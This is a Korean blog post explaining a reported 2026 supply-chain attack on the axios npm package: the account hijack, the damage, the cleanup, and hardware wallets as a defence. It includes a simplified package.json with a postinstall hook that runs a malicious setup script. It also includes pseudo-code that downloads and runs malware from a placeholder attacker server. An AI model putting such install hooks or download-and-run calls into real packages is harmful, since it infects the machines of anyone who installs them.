🍽️ 보안 코스요리/🧀 치즈 정보보안 스프

2026 최신 보안 이슈 - AXIOS 침해사고 발생

곰젤리마스터 2026. 5. 6. 10:38

안녕하세요 여러분?

오랜만에 돌아온 포스팅입니다...

ㅎㅅㅎ

중간고사가 끝나니 공부가 손에 잡히질 않더군요

(시험공부를 열심히 한 것도 아닌데 왜?)

 

예 아무튼

오늘은 금년 3월 31일에 발생한 보안 이슈를 알려드리려고 왔답니다?

비록 2달이 지난 지금이지만요....ㅎㅎ

 

 

 

Axios npm 패키지 공급망 공격

 

 

 

 

일단 Axios가 뭐길래 ?

 

Axios란 웹사이트와 서버 사이에 데이터를 연결해주는 매개체입니다!

Axios가 하는 일

1. 서버에 정보 받아오는 HTTP요청을 보냄➡️Axios가 그 요청을 들고 서버로 감!2. 서버에서 데이터를 줄 땐 보통 텍스트로 줌 ➡️하지만 우리가 사용하기엔 불편➡️Axios는 이걸 받자마자 사용하기 편리한 객체의 형태로 전달함 (Json자동변환)
3. Axios는 데이터 가져올 때까지 기다리라고 약속 (Promise 기반) ➡️데이터 올 때까지 다른 일 하다가, 데이터가 도착하면 then이나 await으로 받아서 화면에 뿌림
4. 전달하기 전에 미리 로그인 여부나 데이터에 이상한 게 섞이지 않았는지 미리 검사하는 기능도 있음 !

 

한 마디로, 자바스크립트로 서버와 통신할 때 편하고 안전하게 데이터를 주고 받을 수 있도록 돕는 도구!

 

 

 

 

 

 

 

사건의 전반적인 이해를 돕기 위해 뉴스부터 보실까요?!

 

https://www.youtube.com/watch?v=COy4eTg-42Y

 

범인으로 지목당한 것은 다름아닌 북한...

북한 ... 정말 의외지만 해킹강국입니다...

북한의 유명한 라자루스라는 해킹그룹도 있고요 

사파이어 슬릿이라는 그룹도 있답니다 (이건 나중에 한번 다뤄보겠습니다)

 

흠 영어 지독히도 싫어하면서 왜 팀명은 간지나는 영어로 지었냐

 

북한의 해커들은 취약점만 찾는 것이 아니라 타겟에게 사회공학적 기법을 사용해서 해킹하는 것으로도 유명합니다

 


이번 사건 또한 라자루스 혹은 사파이어 슬릿의 소행으로 추정되는데요 !

관리자의 이메일 주소를 자기네들이 제어하는 주소로 바꿔치기하면서 본격적인 작업에 들어갔답니다

 

 

https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan

 

axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity

Hijacked maintainer account used to publish poisoned axios releases including 1.14.1 and 0.30.4. The attacker injected a hidden dependency that drops a cross platform RAT. We are actively investigating and will update this post with a full technical analys

www.stepsecurity.io

 

 

공격 타임라인

출처 : Step Security

 

 

 

공격자는 axios 패키지 안에 직접 악성 코드를 넣은 것이 아니라

패키지의 설정 파일인 package.json을 이용해서 공격한 것!

 

 

Step 1. 공격 파일 설치

{
  "dependencies": {
    "plain-crypto-js": "^0.1.7"  // <--- 이게 바로 악성 패키지!
  },
  "scripts": {
    "postinstall": "node setup.js" // <--- 설치 끝나면 바로 실행
  }
}

 

 

Step 2. OS 공격

자동 실행된 setup.js가 컴퓨터의 OS를 파악하고, 각 OS에 맞는 멀웨어 다운

// 공격 코드의 로직
const os = require('os');
const platform = os.platform(); // 'win32', 'darwin(mac)', 'linux' 중 하나

if (platform === 'win32') {
    downloadAndRun('http://공격자서버/win_malware.exe');
} else if (platform === 'darwin') {
    downloadAndRun('http://공격자서버/mac_malware');
}

 

 

Step 3. 증거 인멸

공격이 성공하면, 자기 자신을 삭제하거나 정상적인 파일로 위장하여 이름 바꿈 !!

 

피해 규모

 

악성 코드가 포함된 버전이 노출된 3시간동안 무려 전 세계적으로 약 50만 건 이상의 다운로드가 발생한 것으로 추정된다고 합니다!...ㄷㄷ

 

이런 공격을 통해 공격자들이 얻을 수 있는 것들이 실질적으로 뭔지 궁금하시죠?

정리해드리자면,

 

1. 가상화폐 혹은 금융정보⭐⭐⭐ 

이번 공격은 가상화폐 및 금융정보 탈취가 가장 큰 목적이라고 추정된다고 하는데요,

악성 코드가 실행되면 특정 키워드가 들어간 파일을 우선순위로 찾아냅니다.

예를 들면, key.pem 이나 seed.txt, wallet.json같은 파일들이요 !

브라우저가 데이터를 저장하는 내부 폴더 속에 암호화로 저장된 지갑 데이터를 통째로 복사해 가는거죠 !

 

2. 서버 통제권

3. 기밀 정보 및 지식 재산

4. 다음 공격을 위한 이전 단계가 될 수 있음...ㄷㄷ

 

 

머 이 정도입니다...

무시무시하죠??

 

해결방안

 

정말 다행히, 사건이 터진지 몇 분만에 해결되었답니다...

요~ 보안전문가 만세~

 

Socket Security같은 보안 자동화 도구들이 악성 코드가 업로드 된 지 6분 만에  감지하였고,

보고를 받은 npm운영팀이 해당 악성 코드가 포함된 버전을 npm저장소에서 삭제하였답니다!

 

이후 메인 관리자 계정을 회수하고, 이메일 주소 등을 다시 정상화 시켰다구 해요...

 

이 사건 이후로 거대한 패키지 관리자들에게는 2단계 인증이 선택이 아닌 필수 사항으로 적용되었고, axios가 의존하고 있던 다른 패키지들도 싹 뒤져서 문제가 없는지 파악했답니다 !!

 

또한 npm저장소에서 삭제되었다고 해서 로컬의 사용자 컴퓨터/서버까지 오염된 여부를 파악하긴 힘들기에 

관리자들에게 다음 조치를 취할 것을 권고했어요 !

1. 컴퓨터 저장된 오염된 캐시 삭제
2. package-lock.json 수정 : 악성 버전 번호가 기록된 잠금 파일을 수정하고 정상 버전으로 고정
3. 서버 검사 : 이미 실행된 서버는 밀어버리거나, 악성프로세스 떠 있는지 확인 !

 

 

알아보며 느낀 점

 

요새 가상화폐 혹은 금융거래시장이 점차 커지고있는만큼, 

해킹을 통해서 털릴 수 있는 가장 취약한 정보 또한 가상화폐 및 금융거래 정보가 되었잖아요?

 

그렇다면 ... 

해당 거래를 할 때마다 사용할 물리적인 디스크를 만드는 것이 어떨까라는 생각을 해봤답니다?

마치 공인인증서를 주로 USB에 담아두는 것 처럼요 ..!

물리적인 행동까진 해킹할 수 없을테니까여.

 

➡️라고 생각했는데 이미 그런 게 있다고 하네요?

역시나 ... 나만 이런 생각을 하는 게 아니었다. (당연하지 세상엔 나보다 월등히 똑똑한사람들이 얼마나많은데)

 

그럼 뭐가 있는지 간략하게만 알아볼까요?

 

1. 하드웨어 월렛

https://shop.ledger.com/?r=ca962bcb2850&gad_source=1&gad_campaignid=23759310935&gbraid=0AAAABDVlh7LZQd6BTi7qMqtlkHcgJvOnx&gclid=CjwKCAjwqubPBhBOEiwAzgZX2sxqeMNlqgGxXBERooKhC1B-R5sSp-087NuWGIX4R7-HTUsthBdHuBoCwO8QAvD_BwE

 

Ledger - certified secure crypto Hardware Wallets | Ledger

Ledger builds the world's leading certified secure crypto asset hardware wallets. Optimal protection for your BTC, ETH, XRP and more - in your full control.

shop.ledger.com

개인 키를 내부의 칩에 가둬두는 형식!

돈을 보낼 때 물리적 버튼을 눌러야만 승인이 허가된답니다?

대표적인 제품으로는 링크를 첨부한 레저사의 제품이 있구요, 이외에는 트레저사의 제품도 있다네요?

 

2. 에어 갭

https://keyst.one/?srsltid=AfmBOopT3Yq_-RNiAuxcPPi25yaEgujOreX8jVebHzNUsjjY04ZE2O1W

 

Keystone Wallet | Secure Open Source Crypto Solution

1m drop, scratch & wear resistant. full Keystone protection.

keyst.one

 

아예 컴퓨터와 선 조차도 연결하지 않는 방식이라구 해요.

QR혹은 마이크로SD카드로만 데이터를 주고받습니다 !

대표적인 제품으로는 keystoen사, SafePal사의 제품이 있구요

 

3. Yubikey

코인 지갑은 아니지만, 물리적 보안 인증의 좋은 사례라고 해요!
해커가 비밀번호를 알아낸다한들, 이 물리적 열쇠로 로그인을 할 수 있기 때문에 보안에 효과적입니다 

 

실제로 쿠팡에서도 팔고있네요? ㅎㅎ

근데왜 19금이냐 이건

 

 

예 뭐 여하튼 그렇습니다. 

 

자 오늘의 이슈 분석은 여기까지 하겠구요?

여러분들도 앞으로 주기적인 보안 감사를 하시면서~??

슬기로운 유저가 되시길 바랍니다 . . .

그럼 안녕